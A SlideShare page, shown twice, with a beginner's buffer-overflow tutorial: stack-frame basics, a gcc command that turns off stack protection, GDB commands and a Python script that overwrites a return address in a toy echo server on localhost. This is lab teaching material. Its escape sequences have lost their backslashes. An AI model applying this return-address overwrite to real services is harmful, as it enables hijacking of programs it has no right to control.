SlideShare a Scribd company logo
Buffer Overflow Tutorial 1
This document aims to teach people how to create a piece of data that can alter the flow of a program in such a way
that it behaves in a way for which it was not intended . To begin this lesson you need an understanding of how a
function is called in a computer application written in the C programming language. A group of machine instructions
combined together, which serve a single purpose is called a “function” or sometimes a “method”. When a
programmer creates a function, the name of the function is usually the decision of the programmer, unless the
function was acquired by some other means. These instructions are written in a readable language called the C
programming language. When the programmer has finished writing the application, they will run it through a
program that is an advanced find-and-replace tool. This tool converts the human readable programming language
into machine code and then structures it into a file format suitable for various operating systems. Two of the most
well file formats are called the Windows Portable Executable (PE) and the Linux Executable and Linkable Format
(ELF).

When an ELF or a PE file is executed, the file is loaded into RAM where it is assigned a memory range for its Stack
and its Heap. The Heap memory is for storing data which is assigned a memory address at runtime (for example
data stored in a variable created using the malloc() function). The stack is used for storing variables whose memory
address is pre-calculated before the program is executed. When a child function is called, the CPU creates a new
logical block in the stack called a stack frame. The first piece of information put onto the stack frame is the memory
address of the parent instruction that called the child function. This memory address has been incremented by one
so that it points to the next instruction, to prevent returning to the calling instruction and getting stuck in an infinite
loop. When the child function has completed, it pops all the data off the stack frame until it reaches the last
instruction which is the return address pointing back to the parent function. By grouping variables and return
addresses into the same location in memory we can begin to create our buffer overflow and stack overflow attack.
By overfilling the variables with data, this causes our application to write into the memory beside the variables
which means we can modify the return address.

Imagine a situation where an application calls a function that is vulnerable to a buffer overflow attack. After calling
the vulnerable function, the application tests if a condition is true (using a secret rule). From the attackers point of
view, the secret condition is not important. However the instructions that would be executed if the condition is true,
are the target for an attack. To do this the attacker must overflow the buffer in the vulnerable function and must write
a memory address into the buffer which overwrites the return address at the bottom of the stack frame. This
address should not point at the condition, but it should point at the first instruction that would be executed if the
condition were true.

To start you compile and run the program, it opens a network socket on a port number supplied in the parameter
and waits for a connection. When a network connection is initiated, it echos back whatever is sent.
To compile the program on a 64bit machine running Linux use the following command.:
gcc -fno-stack-protector -mpreferred-stack-boundary=4 -ggdb program.c -o a.out

To run the program you can type:
. /a.out 8080

To connect to the program you can use telnet, but it will not permit you to type non-printable characters outside of
the ASCII range. Non-printable character are necessary to write a return address in binary.
telnet localhost 8080
Alternatively, if you do not wish to use telnet and would like to use a script here is an example in python (note the
memory addresses on Intel CPUs are in little endian format):
import socket
host = "localhost"
port = 8080
size = 30
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("AAAAAAAx00")
data = s.recv(size)
s.close()
print data
There is also a better way to execute your application than “./a.out 8080”. If you launch your application inside a
debugger such as GDB you can add breakpoints to pause execution, you can see the instructions, you can see the
memory addresses of the instructions and you can see your stack frame.
gdb ./a.out
Inside GDB the following commands are useful to know.

disas HandleTCPClient

Disassemble the function “HandleTCPClient”

disas vulnerable

Disassemble the function “vulnerable”

set args 8080

Set the program arguments to “8080”

break *0x1234567

Set a breakpoint to pause execution at memory
address “1234567”. Hint: try setting this to the last
instruction in the vulnerable function.

break main

Set a breakpoint at the main function

run

Execute the program until a breakpoint is reached

step

Execute the next instruction in the executable

info frame

Display the current stack frame information. Try
doing this when you a the breakpoint.

x/128xb $rsp

Display 128 bytes of memory in hexadecimal
($rsp is the stack pointer, sometimes $esp).

print variable

Display value of variable

continue

Continue executing the program until the next
breakpoint is reached.

kill

Terminate the application without exiting the
debugger

quit

Exit the GDB application

To disassemble the executable outside the debugger try: objdump -d ./a.out > output.txt
Note: If you kill the program mid execution, then it may hold the listening port in a waiting state for approximately 55
seconds. This timeout can be monitored using the command :
sudo watch -n 0 netstat -tunpal
The trick to creating an exploit for the application is to create a long string with the virtual address of the instruction
we want to jump to. This virtual address should be appended to the end of the buffer so that it overwrites the return
address at the bottom of the stack frame. To find this address run the following command:
gdb ./a.out 8080
(gdb) disas HandleTCPClient

It should give the following output:
0x0000000000400bf3 <+74>: callq 0x400b6a <vulnerable>
0x0000000000400bf8 <+79>: lea -0x40(%rbp),%rax
0x0000000000400bfc <+83>: mov $0x400e59,%esi
0x0000000000400c01 <+88>: mov %rax,%rdi
0x0000000000400c04 <+91>: callq 0x4008a8 <strcmp@plt>
0x0000000000400c09 <+96>: test %eax,%eax
0x0000000000400c0b <+98>: jne 0x400c17 <HandleTCPClient+110>
0x0000000000400c0d <+100>: mov $0x0,%eax
0x0000000000400c12 <+105>: callq 0x400b99 <secret>
Notice the address of the line that executes the function secret() is “400c12”. Lets append this memory address to
our python exploit. You will need to customize the address for your own system.
import socket
host = "localhost"
port = 8080
size = 30
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("AAAAAAAAAAAAAAAAAAAAAAAAx12x0cx40x00x00")
data = s.recv(size)
s.close()
print data

Run the exploit using the following command:
python pycracker.py

The server should output the following lines:
Talking with client 127.0.0.1
This application has been cracked!
Bus error
Ad

Recommended

Programming Assignment Help
Programming Assignment Help
Programming Homework Help
 
Chapter 6 notes
Chapter 6 notes
HarshitParkar6677
 
Computer Science Assignment Help
Computer Science Assignment Help
Programming Homework Help
 
Chapter 5 notes new
Chapter 5 notes new
HarshitParkar6677
 
Operating System Assignment Help
Operating System Assignment Help
Programming Homework Help
 
Operating System Engineering Quiz
Operating System Engineering Quiz
Programming Homework Help
 
First session quiz
First session quiz
Keroles karam khalil
 
Computer Science Homework Help
Computer Science Homework Help
Programming Homework Help
 
20 -miscellaneous
20 -miscellaneous
Hector Garzo
 
Chapter 5 notes
Chapter 5 notes
HarshitParkar6677
 
Operating System Assignment Help
Operating System Assignment Help
Programming Homework Help
 
Linux Kernel, tested by the Linux-version of PVS-Studio
Linux Kernel, tested by the Linux-version of PVS-Studio
PVS-Studio
 
Perl Intro 4 Debugger
Perl Intro 4 Debugger
Shaun Griffith
 
C Homework Help
C Homework Help
Programming Homework Help
 
Porting is a Delicate Matter: Checking Far Manager under Linux
Porting is a Delicate Matter: Checking Far Manager under Linux
PVS-Studio
 
Python Programming Essentials - M25 - os and sys modules
Python Programming Essentials - M25 - os and sys modules
P3 InfoTech Solutions Pvt. Ltd.
 
32 OpenMP Traps For C++ Developers
32 OpenMP Traps For C++ Developers
PVS-Studio
 
computer notes - Inter process communication
computer notes - Inter process communication
ecomputernotes
 
Intimacy with MSF - Metasploit Framework
Intimacy with MSF - Metasploit Framework
Animesh Roy
 
A green solution to solve a race condition problem
A green solution to solve a race condition problem
Kai Zhou
 
Assembler (2)
Assembler (2)
Vaibhav Bajaj
 
Asynchronous in dot net4
Asynchronous in dot net4
Wei Sun
 
Assembly Language Programming By Ytha Yu, Charles Marut Chap 4 (Introduction ...
Assembly Language Programming By Ytha Yu, Charles Marut Chap 4 (Introduction ...
Bilal Amjad
 
Heading for a Record: Chromium, the 5th Check
Heading for a Record: Chromium, the 5th Check
PVS-Studio
 
Assembler
Assembler
Mohd Arif
 
C programming session9 -
C programming session9 -
Keroles karam khalil
 
Loader and Its types
Loader and Its types
Parth Dodiya
 
Python Programming Essentials - M17 - Functions
Python Programming Essentials - M17 - Functions
P3 InfoTech Solutions Pvt. Ltd.
 
Exploitation Crash Course
Exploitation Crash Course
UTD Computer Security Group
 
AllBits presentation - Lower Level SW Security
AllBits presentation - Lower Level SW Security
AllBits BVBA (freelancer)
 

More Related Content

What's hot (20)

20 -miscellaneous
20 -miscellaneous
Hector Garzo
 
Chapter 5 notes
Chapter 5 notes
HarshitParkar6677
 
Operating System Assignment Help
Operating System Assignment Help
Programming Homework Help
 
Linux Kernel, tested by the Linux-version of PVS-Studio
Linux Kernel, tested by the Linux-version of PVS-Studio
PVS-Studio
 
Perl Intro 4 Debugger
Perl Intro 4 Debugger
Shaun Griffith
 
C Homework Help
C Homework Help
Programming Homework Help
 
Porting is a Delicate Matter: Checking Far Manager under Linux
Porting is a Delicate Matter: Checking Far Manager under Linux
PVS-Studio
 
Python Programming Essentials - M25 - os and sys modules
Python Programming Essentials - M25 - os and sys modules
P3 InfoTech Solutions Pvt. Ltd.
 
32 OpenMP Traps For C++ Developers
32 OpenMP Traps For C++ Developers
PVS-Studio
 
computer notes - Inter process communication
computer notes - Inter process communication
ecomputernotes
 
Intimacy with MSF - Metasploit Framework
Intimacy with MSF - Metasploit Framework
Animesh Roy
 
A green solution to solve a race condition problem
A green solution to solve a race condition problem
Kai Zhou
 
Assembler (2)
Assembler (2)
Vaibhav Bajaj
 
Asynchronous in dot net4
Asynchronous in dot net4
Wei Sun
 
Assembly Language Programming By Ytha Yu, Charles Marut Chap 4 (Introduction ...
Assembly Language Programming By Ytha Yu, Charles Marut Chap 4 (Introduction ...
Bilal Amjad
 
Heading for a Record: Chromium, the 5th Check
Heading for a Record: Chromium, the 5th Check
PVS-Studio
 
Assembler
Assembler
Mohd Arif
 
C programming session9 -
C programming session9 -
Keroles karam khalil
 
Loader and Its types
Loader and Its types
Parth Dodiya
 
Python Programming Essentials - M17 - Functions
Python Programming Essentials - M17 - Functions
P3 InfoTech Solutions Pvt. Ltd.
 
Linux Kernel, tested by the Linux-version of PVS-Studio
Linux Kernel, tested by the Linux-version of PVS-Studio
PVS-Studio
 
Porting is a Delicate Matter: Checking Far Manager under Linux
Porting is a Delicate Matter: Checking Far Manager under Linux
PVS-Studio
 
Python Programming Essentials - M25 - os and sys modules
Python Programming Essentials - M25 - os and sys modules
P3 InfoTech Solutions Pvt. Ltd.
 
32 OpenMP Traps For C++ Developers
32 OpenMP Traps For C++ Developers
PVS-Studio
 
computer notes - Inter process communication
computer notes - Inter process communication
ecomputernotes
 
Intimacy with MSF - Metasploit Framework
Intimacy with MSF - Metasploit Framework
Animesh Roy
 
A green solution to solve a race condition problem
A green solution to solve a race condition problem
Kai Zhou
 
Asynchronous in dot net4
Asynchronous in dot net4
Wei Sun
 
Assembly Language Programming By Ytha Yu, Charles Marut Chap 4 (Introduction ...
Assembly Language Programming By Ytha Yu, Charles Marut Chap 4 (Introduction ...
Bilal Amjad
 
Heading for a Record: Chromium, the 5th Check
Heading for a Record: Chromium, the 5th Check
PVS-Studio
 
Loader and Its types
Loader and Its types
Parth Dodiya
 

Similar to Buffer overflow tutorial (20)

Exploitation Crash Course
Exploitation Crash Course
UTD Computer Security Group
 
AllBits presentation - Lower Level SW Security
AllBits presentation - Lower Level SW Security
AllBits BVBA (freelancer)
 
Control hijacking
Control hijacking
Prachi Gulihar
 
Low Level Exploits
Low Level Exploits
hughpearse
 
Unix executable buffer overflow
Unix executable buffer overflow
Ammarit Thongthua ,CISSP CISM GXPN CSSLP CCNP
 
Software to the slaughter
Software to the slaughter
Quinn Wilton
 
E-Commerce Security - Application attacks - Server Attacks
E-Commerce Security - Application attacks - Server Attacks
phanleson
 
antoanthongtin_Lesson 3- Software Security (1).pptx
antoanthongtin_Lesson 3- Software Security (1).pptx
23162024
 
Ceh v5 module 20 buffer overflow
Ceh v5 module 20 buffer overflow
Vi Tính Hoàng Nam
 
Stack-Based Buffer Overflows
Stack-Based Buffer Overflows
Daniel Tumser
 
6 buffer overflows
6 buffer overflows
drewz lin
 
Format String Exploitation
Format String Exploitation
UTD Computer Security Group
 
Dive into exploit development
Dive into exploit development
Payampardaz
 
fjfh mjgkj jkhglkjh jhlkh lhlkkhl kjhjkhjk
fjfh mjgkj jkhglkjh jhlkh lhlkkhl kjhjkhjk
ahmed8790
 
StackOverflow
StackOverflow
Susam Pal
 
TDOH x 台科 pwn課程
TDOH x 台科 pwn課程
Weber Tsai
 
CNIT 127 14: Protection Mechanisms
CNIT 127 14: Protection Mechanisms
Sam Bowne
 
Offensive cyber security: Smashing the stack with Python
Offensive cyber security: Smashing the stack with Python
Malachi Jones
 
Hacklu11 Writeup
Hacklu11 Writeup
nkslides
 
Buffer Overflow Attacks
Buffer Overflow Attacks
harshal kshatriya
 
AllBits presentation - Lower Level SW Security
AllBits presentation - Lower Level SW Security
AllBits BVBA (freelancer)
 
Low Level Exploits
Low Level Exploits
hughpearse
 
Software to the slaughter
Software to the slaughter
Quinn Wilton
 
E-Commerce Security - Application attacks - Server Attacks
E-Commerce Security - Application attacks - Server Attacks
phanleson
 
antoanthongtin_Lesson 3- Software Security (1).pptx
antoanthongtin_Lesson 3- Software Security (1).pptx
23162024
 
Ceh v5 module 20 buffer overflow
Ceh v5 module 20 buffer overflow
Vi Tính Hoàng Nam
 
Stack-Based Buffer Overflows
Stack-Based Buffer Overflows
Daniel Tumser
 
6 buffer overflows
6 buffer overflows
drewz lin
 
Dive into exploit development
Dive into exploit development
Payampardaz
 
fjfh mjgkj jkhglkjh jhlkh lhlkkhl kjhjkhjk
fjfh mjgkj jkhglkjh jhlkh lhlkkhl kjhjkhjk
ahmed8790
 
StackOverflow
StackOverflow
Susam Pal
 
TDOH x 台科 pwn課程
TDOH x 台科 pwn課程
Weber Tsai
 
CNIT 127 14: Protection Mechanisms
CNIT 127 14: Protection Mechanisms
Sam Bowne
 
Offensive cyber security: Smashing the stack with Python
Offensive cyber security: Smashing the stack with Python
Malachi Jones
 
Hacklu11 Writeup
Hacklu11 Writeup
nkslides
 
Ad

More from hughpearse (7)

HughPearseEsriTraining
HughPearseEsriTraining
hughpearse
 
HughPearse-ACE-Forensics-Certification
HughPearse-ACE-Forensics-Certification
hughpearse
 
Prism-Proof Cloud Email Services
Prism-Proof Cloud Email Services
hughpearse
 
Nmap flags table
Nmap flags table
hughpearse
 
ACE forensics certification
ACE forensics certification
hughpearse
 
Diffie-Hellman key exchange
Diffie-Hellman key exchange
hughpearse
 
Metasploit cheat sheet
Metasploit cheat sheet
hughpearse
 
HughPearseEsriTraining
HughPearseEsriTraining
hughpearse
 
HughPearse-ACE-Forensics-Certification
HughPearse-ACE-Forensics-Certification
hughpearse
 
Prism-Proof Cloud Email Services
Prism-Proof Cloud Email Services
hughpearse
 
Nmap flags table
Nmap flags table
hughpearse
 
ACE forensics certification
ACE forensics certification
hughpearse
 
Diffie-Hellman key exchange
Diffie-Hellman key exchange
hughpearse
 
Metasploit cheat sheet
Metasploit cheat sheet
hughpearse
 
Ad

Recently uploaded (20)

Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
caoyixuan2019
 
Quantum AI Discoveries: Fractal Patterns Consciousness and Cyclical Universes
Quantum AI Discoveries: Fractal Patterns Consciousness and Cyclical Universes
Saikat Basu
 
10 Key Challenges for AI within the EU Data Protection Framework.pdf
10 Key Challenges for AI within the EU Data Protection Framework.pdf
Priyanka Aash
 
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC
 
cnc-processing-centers-centateq-p-110-en.pdf
cnc-processing-centers-centateq-p-110-en.pdf
AmirStern2
 
WebdriverIO & JavaScript: The Perfect Duo for Web Automation
WebdriverIO & JavaScript: The Perfect Duo for Web Automation
digitaljignect
 
Connecting Data and Intelligence: The Role of FME in Machine Learning
Connecting Data and Intelligence: The Role of FME in Machine Learning
Safe Software
 
Using the SQLExecutor for Data Quality Management: aka One man's love for the...
Using the SQLExecutor for Data Quality Management: aka One man's love for the...
Safe Software
 
Security Tips for Enterprise Azure Solutions
Security Tips for Enterprise Azure Solutions
Michele Leroux Bustamante
 
The Growing Value and Application of FME & GenAI
The Growing Value and Application of FME & GenAI
Safe Software
 
Enhance GitHub Copilot using MCP - Enterprise version.pdf
Enhance GitHub Copilot using MCP - Enterprise version.pdf
Nilesh Gule
 
Lessons Learned from Developing Secure AI Workflows.pdf
Lessons Learned from Developing Secure AI Workflows.pdf
Priyanka Aash
 
" How to survive with 1 billion vectors and not sell a kidney: our low-cost c...
" How to survive with 1 billion vectors and not sell a kidney: our low-cost c...
Fwdays
 
ReSTIR [DI]: Spatiotemporal reservoir resampling for real-time ray tracing ...
ReSTIR [DI]: Spatiotemporal reservoir resampling for real-time ray tracing ...
revolcs10
 
Securing AI - There Is No Try, Only Do!.pdf
Securing AI - There Is No Try, Only Do!.pdf
Priyanka Aash
 
Wenn alles versagt - IBM Tape schützt, was zählt! Und besonders mit dem neust...
Wenn alles versagt - IBM Tape schützt, was zählt! Und besonders mit dem neust...
Josef Weingand
 
EIS-Webinar-Engineering-Retail-Infrastructure-06-16-2025.pdf
EIS-Webinar-Engineering-Retail-Infrastructure-06-16-2025.pdf
Earley Information Science
 
9-1-1 Addressing: End-to-End Automation Using FME
9-1-1 Addressing: End-to-End Automation Using FME
Safe Software
 
"Database isolation: how we deal with hundreds of direct connections to the d...
"Database isolation: how we deal with hundreds of direct connections to the d...
Fwdays
 
UserCon Belgium: Honey, VMware increased my bill
UserCon Belgium: Honey, VMware increased my bill
stijn40
 
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
caoyixuan2019
 
Quantum AI Discoveries: Fractal Patterns Consciousness and Cyclical Universes
Quantum AI Discoveries: Fractal Patterns Consciousness and Cyclical Universes
Saikat Basu
 
10 Key Challenges for AI within the EU Data Protection Framework.pdf
10 Key Challenges for AI within the EU Data Protection Framework.pdf
Priyanka Aash
 
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC
 
cnc-processing-centers-centateq-p-110-en.pdf
cnc-processing-centers-centateq-p-110-en.pdf
AmirStern2
 
WebdriverIO & JavaScript: The Perfect Duo for Web Automation
WebdriverIO & JavaScript: The Perfect Duo for Web Automation
digitaljignect
 
Connecting Data and Intelligence: The Role of FME in Machine Learning
Connecting Data and Intelligence: The Role of FME in Machine Learning
Safe Software
 
Using the SQLExecutor for Data Quality Management: aka One man's love for the...
Using the SQLExecutor for Data Quality Management: aka One man's love for the...
Safe Software
 
Security Tips for Enterprise Azure Solutions
Security Tips for Enterprise Azure Solutions
Michele Leroux Bustamante
 
The Growing Value and Application of FME & GenAI
The Growing Value and Application of FME & GenAI
Safe Software
 
Enhance GitHub Copilot using MCP - Enterprise version.pdf
Enhance GitHub Copilot using MCP - Enterprise version.pdf
Nilesh Gule
 
Lessons Learned from Developing Secure AI Workflows.pdf
Lessons Learned from Developing Secure AI Workflows.pdf
Priyanka Aash
 
" How to survive with 1 billion vectors and not sell a kidney: our low-cost c...
" How to survive with 1 billion vectors and not sell a kidney: our low-cost c...
Fwdays
 
ReSTIR [DI]: Spatiotemporal reservoir resampling for real-time ray tracing ...
ReSTIR [DI]: Spatiotemporal reservoir resampling for real-time ray tracing ...
revolcs10
 
Securing AI - There Is No Try, Only Do!.pdf
Securing AI - There Is No Try, Only Do!.pdf
Priyanka Aash
 
Wenn alles versagt - IBM Tape schützt, was zählt! Und besonders mit dem neust...
Wenn alles versagt - IBM Tape schützt, was zählt! Und besonders mit dem neust...
Josef Weingand
 
EIS-Webinar-Engineering-Retail-Infrastructure-06-16-2025.pdf
EIS-Webinar-Engineering-Retail-Infrastructure-06-16-2025.pdf
Earley Information Science
 
9-1-1 Addressing: End-to-End Automation Using FME
9-1-1 Addressing: End-to-End Automation Using FME
Safe Software
 
"Database isolation: how we deal with hundreds of direct connections to the d...
"Database isolation: how we deal with hundreds of direct connections to the d...
Fwdays
 
UserCon Belgium: Honey, VMware increased my bill
UserCon Belgium: Honey, VMware increased my bill
stijn40
 

Buffer overflow tutorial

  • 1. Buffer Overflow Tutorial 1 This document aims to teach people how to create a piece of data that can alter the flow of a program in such a way that it behaves in a way for which it was not intended . To begin this lesson you need an understanding of how a function is called in a computer application written in the C programming language. A group of machine instructions combined together, which serve a single purpose is called a “function” or sometimes a “method”. When a programmer creates a function, the name of the function is usually the decision of the programmer, unless the function was acquired by some other means. These instructions are written in a readable language called the C programming language. When the programmer has finished writing the application, they will run it through a program that is an advanced find-and-replace tool. This tool converts the human readable programming language into machine code and then structures it into a file format suitable for various operating systems. Two of the most well file formats are called the Windows Portable Executable (PE) and the Linux Executable and Linkable Format (ELF). When an ELF or a PE file is executed, the file is loaded into RAM where it is assigned a memory range for its Stack and its Heap. The Heap memory is for storing data which is assigned a memory address at runtime (for example data stored in a variable created using the malloc() function). The stack is used for storing variables whose memory address is pre-calculated before the program is executed. When a child function is called, the CPU creates a new logical block in the stack called a stack frame. The first piece of information put onto the stack frame is the memory address of the parent instruction that called the child function. This memory address has been incremented by one so that it points to the next instruction, to prevent returning to the calling instruction and getting stuck in an infinite loop. When the child function has completed, it pops all the data off the stack frame until it reaches the last instruction which is the return address pointing back to the parent function. By grouping variables and return addresses into the same location in memory we can begin to create our buffer overflow and stack overflow attack. By overfilling the variables with data, this causes our application to write into the memory beside the variables which means we can modify the return address. Imagine a situation where an application calls a function that is vulnerable to a buffer overflow attack. After calling the vulnerable function, the application tests if a condition is true (using a secret rule). From the attackers point of view, the secret condition is not important. However the instructions that would be executed if the condition is true, are the target for an attack. To do this the attacker must overflow the buffer in the vulnerable function and must write a memory address into the buffer which overwrites the return address at the bottom of the stack frame. This address should not point at the condition, but it should point at the first instruction that would be executed if the condition were true. To start you compile and run the program, it opens a network socket on a port number supplied in the parameter and waits for a connection. When a network connection is initiated, it echos back whatever is sent. To compile the program on a 64bit machine running Linux use the following command.: gcc -fno-stack-protector -mpreferred-stack-boundary=4 -ggdb program.c -o a.out To run the program you can type: . /a.out 8080 To connect to the program you can use telnet, but it will not permit you to type non-printable characters outside of the ASCII range. Non-printable character are necessary to write a return address in binary. telnet localhost 8080
  • 2. Alternatively, if you do not wish to use telnet and would like to use a script here is an example in python (note the memory addresses on Intel CPUs are in little endian format): import socket host = "localhost" port = 8080 size = 30 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send("AAAAAAAx00") data = s.recv(size) s.close() print data There is also a better way to execute your application than “./a.out 8080”. If you launch your application inside a debugger such as GDB you can add breakpoints to pause execution, you can see the instructions, you can see the memory addresses of the instructions and you can see your stack frame. gdb ./a.out Inside GDB the following commands are useful to know. disas HandleTCPClient Disassemble the function “HandleTCPClient” disas vulnerable Disassemble the function “vulnerable” set args 8080 Set the program arguments to “8080” break *0x1234567 Set a breakpoint to pause execution at memory address “1234567”. Hint: try setting this to the last instruction in the vulnerable function. break main Set a breakpoint at the main function run Execute the program until a breakpoint is reached step Execute the next instruction in the executable info frame Display the current stack frame information. Try doing this when you a the breakpoint. x/128xb $rsp Display 128 bytes of memory in hexadecimal ($rsp is the stack pointer, sometimes $esp). print variable Display value of variable continue Continue executing the program until the next breakpoint is reached. kill Terminate the application without exiting the debugger quit Exit the GDB application To disassemble the executable outside the debugger try: objdump -d ./a.out > output.txt Note: If you kill the program mid execution, then it may hold the listening port in a waiting state for approximately 55 seconds. This timeout can be monitored using the command : sudo watch -n 0 netstat -tunpal
  • 3. The trick to creating an exploit for the application is to create a long string with the virtual address of the instruction we want to jump to. This virtual address should be appended to the end of the buffer so that it overwrites the return address at the bottom of the stack frame. To find this address run the following command: gdb ./a.out 8080 (gdb) disas HandleTCPClient It should give the following output: 0x0000000000400bf3 <+74>: callq 0x400b6a <vulnerable> 0x0000000000400bf8 <+79>: lea -0x40(%rbp),%rax 0x0000000000400bfc <+83>: mov $0x400e59,%esi 0x0000000000400c01 <+88>: mov %rax,%rdi 0x0000000000400c04 <+91>: callq 0x4008a8 <strcmp@plt> 0x0000000000400c09 <+96>: test %eax,%eax 0x0000000000400c0b <+98>: jne 0x400c17 <HandleTCPClient+110> 0x0000000000400c0d <+100>: mov $0x0,%eax 0x0000000000400c12 <+105>: callq 0x400b99 <secret> Notice the address of the line that executes the function secret() is “400c12”. Lets append this memory address to our python exploit. You will need to customize the address for your own system. import socket host = "localhost" port = 8080 size = 30 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send("AAAAAAAAAAAAAAAAAAAAAAAAx12x0cx40x00x00") data = s.recv(size) s.close() print data Run the exploit using the following command: python pycracker.py The server should output the following lines: Talking with client 127.0.0.1 This application has been cracked! Bus error